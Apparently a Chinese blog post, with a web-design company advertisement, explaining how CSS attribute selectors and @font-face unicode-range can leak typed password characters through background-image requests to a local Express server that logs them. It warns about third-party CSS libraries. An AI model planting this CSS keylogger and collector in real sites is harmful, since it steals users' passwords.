這篇文章將為大家詳細(xì)講解有關(guān)CSS如何實(shí)現(xiàn)記錄用戶(hù)密碼功能，小編覺(jué)得挺實(shí)用的，因此分享給大家做個(gè)參考，希望大家閱讀完這篇文章后可以有所收獲。

為萬(wàn)載等地區(qū)用戶(hù)提供了全套網(wǎng)頁(yè)設(shè)計(jì)制作服務(wù)，及萬(wàn)載網(wǎng)站建設(shè)行業(yè)解決方案。主營(yíng)業(yè)務(wù)為成都網(wǎng)站設(shè)計(jì)、成都網(wǎng)站制作、外貿(mào)網(wǎng)站建設(shè)、萬(wàn)載網(wǎng)站設(shè)計(jì)，以傳統(tǒng)方式定制建設(shè)網(wǎng)站，并提供域名空間備案等一條龍服務(wù)，秉承以專(zhuān)業(yè)、用心的態(tài)度為用戶(hù)提供真誠(chéng)的服務(wù)。我們深信只要達(dá)到每一位用戶(hù)的要求，就會(huì)得到認(rèn)可，從而選擇與我們長(zhǎng)期合作。這樣，我們也可以走得更遠(yuǎn)！

簡(jiǎn)單的CSS代碼，甚至不符合圖靈完備的語(yǔ)言，但是也能成為一些攻擊者的工具，下面簡(jiǎn)單介紹一下如何使用CSS去記錄用戶(hù)的密碼。但是這些CSS腳本會(huì)出現(xiàn)在第三方CSS庫(kù)中，所以使用第三方CSS庫(kù)也需要謹(jǐn)慎，確保代碼安全。直接上代碼解析：

input[type="password"][value$="0"] { 
    background-image: url("http://localhost:3000/0"); 
}
input[type="password"][value$="1"] { 
    background-image: url("http://localhost:3000/1"); 
}
input[type="password"][value$="2"] { 
    background-image: url("http://localhost:3000/2"); 
}

以上是部分代碼,我們來(lái)解析一下CSS代碼

input[type="password"]是css選擇器，作用是選擇密碼輸入框，[value$="0"]表示匹配輸入的值是以0結(jié)尾的。所以：

input[type="password"][value$="0"] { 
    background-image: url("http://localhost:3000/0"); 
}

上面代碼的意思就是如果你在密碼框中輸入0，就去請(qǐng)求http://localhost:3000/0接口，但是瀏覽器默認(rèn)情況下是不會(huì)將用戶(hù)輸入的值存儲(chǔ)在value屬性中，但是有的框架會(huì)同步這些值，例如React。

所以只要使用了如下圖的腳本就能去存儲(chǔ)用戶(hù)的輸入數(shù)據(jù)信息。

我們?cè)賮?lái)看一下服務(wù)器端的代碼：

const express = require("express");
const app = express();

app.get("/:key", (req, res) => {
   process.stdout.write(req.params.key);
   return res.sendStatus(400);
});

app.listen(3000, () => console.log("啟動(dòng)，監(jiān)聽(tīng)3000端口"));

使用express創(chuàng)建服務(wù)器，監(jiān)聽(tīng)3000端口，只要請(qǐng)求http://localhost:3000/:key，就能輸出key的值，就能在服務(wù)器上記錄輸入的值。所以只要在每輸入一個(gè)值都匹配，然后通過(guò) background-image 去請(qǐng)求一個(gè)已經(jīng)準(zhǔn)備好的接口，就能記錄用戶(hù)的輸入。類(lèi)似的方法記錄用戶(hù)的內(nèi)容的CSS代碼@font-face {

   font-family: blah;  
   src: url('http://localhost:3000/a') format('woff');  
   unicode-range: U+85;
}
html {  
   font-family: blah, sans-serif;
}

你使用的的css的簡(jiǎn)單的字體庫(kù)，只要你的頁(yè)面中包含a，就會(huì)去請(qǐng)求http://localhost:3000/a，這樣就能知道你的頁(yè)面中包含有a字符。

關(guān)于“CSS如何實(shí)現(xiàn)記錄用戶(hù)密碼功能”這篇文章就分享到這里了，希望以上內(nèi)容可以對(duì)大家有一定的幫助，使各位可以學(xué)到更多知識(shí)，如果覺(jué)得文章不錯(cuò)，請(qǐng)把它分享出去讓更多的人看到。

名稱(chēng)欄目：CSS如何實(shí)現(xiàn)記錄用戶(hù)密碼功能-創(chuàng)新互聯(lián)
本文URL：http://weahome.cn/article/pghis.html